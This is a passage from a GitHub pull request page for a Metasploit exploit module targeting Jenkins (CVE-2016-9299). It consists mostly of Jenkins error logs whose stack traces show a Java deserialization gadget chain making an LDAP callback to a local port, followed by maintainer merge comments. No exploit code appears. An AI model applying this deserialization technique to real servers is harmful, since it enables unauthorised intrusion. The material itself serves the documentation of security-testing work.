	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058)
	at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2122)
	at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2013)
	at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1535)
	at java.io.ObjectInputStream.readObject(ObjectInputStream.java:422)
	at hudson.remoting.Command.readFrom(Command.java:96)
	at hudson.remoting.AbstractSynchronousByteArrayCommandTransport.read(AbstractSynchronousByteArrayCommandTransport.java:34)
	at hudson.remoting.SynchronousCommandTransport$ReaderThread.run(SynchronousCommandTransport.java:59)
Caused by: java.lang.reflect.InvocationTargetException
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(PropertyUtilsBean.java:2170)
	at org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty(PropertyUtilsBean.java:1332)
	at org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(PropertyUtilsBean.java:770)
	at org.apache.commons.beanutils.PropertyUtilsBean.getProperty(PropertyUtilsBean.java:846)
	at org.apache.commons.beanutils.PropertyUtils.getProperty(PropertyUtils.java:426)
	at net.sf.json.JSONObject.defaultBeanProcessing(JSONObject.java:692)
	... 26 more
Caused by: javax.naming.CommunicationException: 127.0.0.1:1389 [Root exception is java.net.ConnectException: Connection refused (Connection refused)]
	at com.sun.jndi.ldap.Connection.<init>(Connection.java:226)
	at com.sun.jndi.ldap.LdapClient.<init>(LdapClient.java:137)
	at com.sun.jndi.ldap.LdapClient.getInstance(LdapClient.java:1614)
	at com.sun.jndi.ldap.LdapCtx.connect(LdapCtx.java:2746)
	at com.sun.jndi.ldap.LdapCtx.<init>(LdapCtx.java:319)
	at com.sun.jndi.ldap.LdapCtxFactory.getUsingURL(LdapCtxFactory.java:192)
	at com.sun.jndi.ldap.LdapCtxFactory.getUsingURLs(LdapCtxFactory.java:210)
	at com.sun.jndi.ldap.LdapCtxFactory.getLdapCtxInstance(LdapCtxFactory.java:153)
	at com.sun.jndi.ldap.LdapCtxFactory.getInitialContext(LdapCtxFactory.java:83)
	at javax.naming.spi.NamingManager.getInitialContext(NamingManager.java:684)
	at javax.naming.InitialContext.getDefaultInitCtx(InitialContext.java:313)
	at javax.naming.InitialContext.init(InitialContext.java:244)
	at javax.naming.InitialContext.<init>(InitialContext.java:216)
	at javax.naming.directory.InitialDirContext.<init>(InitialDirContext.java:101)
	at com.sun.jndi.ldap.LdapAttribute.getBaseCtx(LdapAttribute.java:119)
	at com.sun.jndi.ldap.LdapAttribute.getAttributeDefinition(LdapAttribute.java:207)
	... 36 more
Caused by: java.net.ConnectException: Connection refused (Connection refused)
	at java.net.PlainSocketImpl.socketConnect(Native Method)
	at java.net.AbstractPlainSocketImpl.doConnect(AbstractPlainSocketImpl.java:350)
	at java.net.AbstractPlainSocketImpl.connectToAddress(AbstractPlainSocketImpl.java:206)
	at java.net.AbstractPlainSocketImpl.connect(AbstractPlainSocketImpl.java:188)
	at java.net.SocksSocketImpl.connect(SocksSocketImpl.java:392)
	at java.net.Socket.connect(Socket.java:589)
	at java.net.Socket.connect(Socket.java:538)
	at java.net.Socket.<init>(Socket.java:434)
	at java.net.Socket.<init>(Socket.java:211)
	at com.sun.jndi.ldap.Connection.createSocket(Connection.java:363)
	at com.sun.jndi.ldap.Connection.<init>(Connection.java:203)
	... 51 more

Mar 22, 2017 7:45:40 AM hudson.init.impl.InstallUncaughtExceptionHandler$DefaultUncaughtExceptionHandler uncaughtException
SEVERE: A thread (Channel reader thread: HTTP full-duplex channel b85bfc87-97c2-44c8-b856-7a37a3e6b76c/61) died unexpectedly due to an uncaught exception, this may leave your Jenkins in a bad way and is usually indicative of a bug in the code.
net.sf.json.JSONException: java.lang.reflect.InvocationTargetException
	at net.sf.json.JSONObject.defaultBeanProcessing(JSONObject.java:765)
	at net.sf.json.JSONObject._fromBean(JSONObject.java:642)
	at net.sf.json.JSONObject.fromObject(JSONObject.java:169)
	at net.sf.json.AbstractJSON._processValue(AbstractJSON.java:250)
	at net.sf.json.JSONArray._processValue(JSONArray.java:2492)
	at net.sf.json.JSONArray.processValue(JSONArray.java:2517)
	at net.sf.json.JSONArray.addValue(JSONArray.java:2504)
	at net.sf.json.JSONArray._fromCollection(JSONArray.java:1056)
	at net.sf.json.JSONArray.fromObject(JSONArray.java:123)
	at net.sf.json.JSONArray.containsAll(JSONArray.java:1310)
	at net.sf.json.JSONArray.containsAll(JSONArray.java:1306)
	at org.apache.commons.collections.collection.AbstractCollectionDecorator.containsAll(AbstractCollectionDecorator.java:120)
	at java.util.concurrent.ConcurrentSkipListSet.equals(ConcurrentSkipListSet.java:310)
	at org.apache.commons.collections.map.Flat3Map.put(Flat3Map.java:299)
	at org.apache.commons.collections.map.Flat3Map.readObject(Flat3Map.java:1003)
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058)
	at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2122)
	at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2013)
	at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1535)
	at java.io.ObjectInputStream.readObject(ObjectInputStream.java:422)
	at hudson.remoting.Command.readFrom(Command.java:96)
	at hudson.remoting.AbstractSynchronousByteArrayCommandTransport.read(AbstractSynchronousByteArrayCommandTransport.java:34)
	at hudson.remoting.SynchronousCommandTransport$ReaderThread.run(SynchronousCommandTransport.java:59)
Caused by: java.lang.reflect.InvocationTargetException
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(PropertyUtilsBean.java:2170)
	at org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty(PropertyUtilsBean.java:1332)
	at org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(PropertyUtilsBean.java:770)
	at org.apache.commons.beanutils.PropertyUtilsBean.getProperty(PropertyUtilsBean.java:846)
	at org.apache.commons.beanutils.PropertyUtils.getProperty(PropertyUtils.java:426)
	at net.sf.json.JSONObject.defaultBeanProcessing(JSONObject.java:692)
	... 26 more
Caused by: javax.naming.CommunicationException: 127.0.0.1:1389 [Root exception is java.net.ConnectException: Connection refused (Connection refused)]
	at com.sun.jndi.ldap.Connection.<init>(Connection.java:226)
	at com.sun.jndi.ldap.LdapClient.<init>(LdapClient.java:137)
	at com.sun.jndi.ldap.LdapClient.getInstance(LdapClient.java:1614)
	at com.sun.jndi.ldap.LdapCtx.connect(LdapCtx.java:2746)
	at com.sun.jndi.ldap.LdapCtx.<init>(LdapCtx.java:319)
	at com.sun.jndi.ldap.LdapCtxFactory.getUsingURL(LdapCtxFactory.java:192)
	at com.sun.jndi.ldap.LdapCtxFactory.getUsingURLs(LdapCtxFactory.java:210)
	at com.sun.jndi.ldap.LdapCtxFactory.getLdapCtxInstance(LdapCtxFactory.java:153)
	at com.sun.jndi.ldap.LdapCtxFactory.getInitialContext(LdapCtxFactory.java:83)
	at javax.naming.spi.NamingManager.getInitialContext(NamingManager.java:684)
	at javax.naming.InitialContext.getDefaultInitCtx(InitialContext.java:313)
	at javax.naming.InitialContext.init(InitialContext.java:244)
	at javax.naming.InitialContext.<init>(InitialContext.java:216)
	at javax.naming.directory.InitialDirContext.<init>(InitialDirContext.java:101)
	at com.sun.jndi.ldap.LdapAttribute.getBaseCtx(LdapAttribute.java:119)
	at com.sun.jndi.ldap.LdapAttribute.getAttributeDefinition(LdapAttribute.java:207)
	... 36 more
Caused by: java.net.ConnectException: Connection refused (Connection refused)
	at java.net.PlainSocketImpl.socketConnect(Native Method)
	at java.net.AbstractPlainSocketImpl.doConnect(AbstractPlainSocketImpl.java:350)
	at java.net.AbstractPlainSocketImpl.connectToAddress(AbstractPlainSocketImpl.java:206)
	at java.net.AbstractPlainSocketImpl.connect(AbstractPlainSocketImpl.java:188)
	at java.net.SocksSocketImpl.connect(SocksSocketImpl.java:392)
	at java.net.Socket.connect(Socket.java:589)
	at java.net.Socket.connect(Socket.java:538)
	at java.net.Socket.<init>(Socket.java:434)
	at java.net.Socket.<init>(Socket.java:211)
	at com.sun.jndi.ldap.Connection.createSocket(Connection.java:363)
	at com.sun.jndi.ldap.Connection.<init>(Connection.java:203)
	... 51 more

@bcoles bcoles added docs and removed needs-docs labels Apr 6, 2018

@wvu-r7

This comment has been minimized.

Show comment
Hide comment
@wvu-r7

wvu-r7 May 16, 2018

Contributor

At some point, this might have worked under certain circumstances. Landing it as it stands.

Contributor

wvu-r7 commented May 16, 2018

At some point, this might have worked under certain circumstances. Landing it as it stands.

@wvu-r7 wvu-r7 merged commit 6764bdb into rapid7:master May 16, 2018

3 checks passed

Metasploit Automation - Sanity Test Execution Successfully completed all tests.
Details
Metasploit Automation - Test Execution Successfully completed all tests.
Details
continuous-integration/travis-ci/pr The Travis CI build passed
Details

wvu-r7 added a commit that referenced this pull request May 16, 2018

@wvu-r7

This comment has been minimized.

Show comment
Hide comment
@wvu-r7

wvu-r7 May 16, 2018

Contributor

Release Notes

This adds an exploit for CVE-2016-9299.

Contributor

wvu-r7 commented May 16, 2018

Release Notes

This adds an exploit for CVE-2016-9299.

msjenkins-r7 added a commit that referenced this pull request May 17, 2018

@tdoan-r7 tdoan-r7 added the rn-exploit label Jun 1, 2018

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment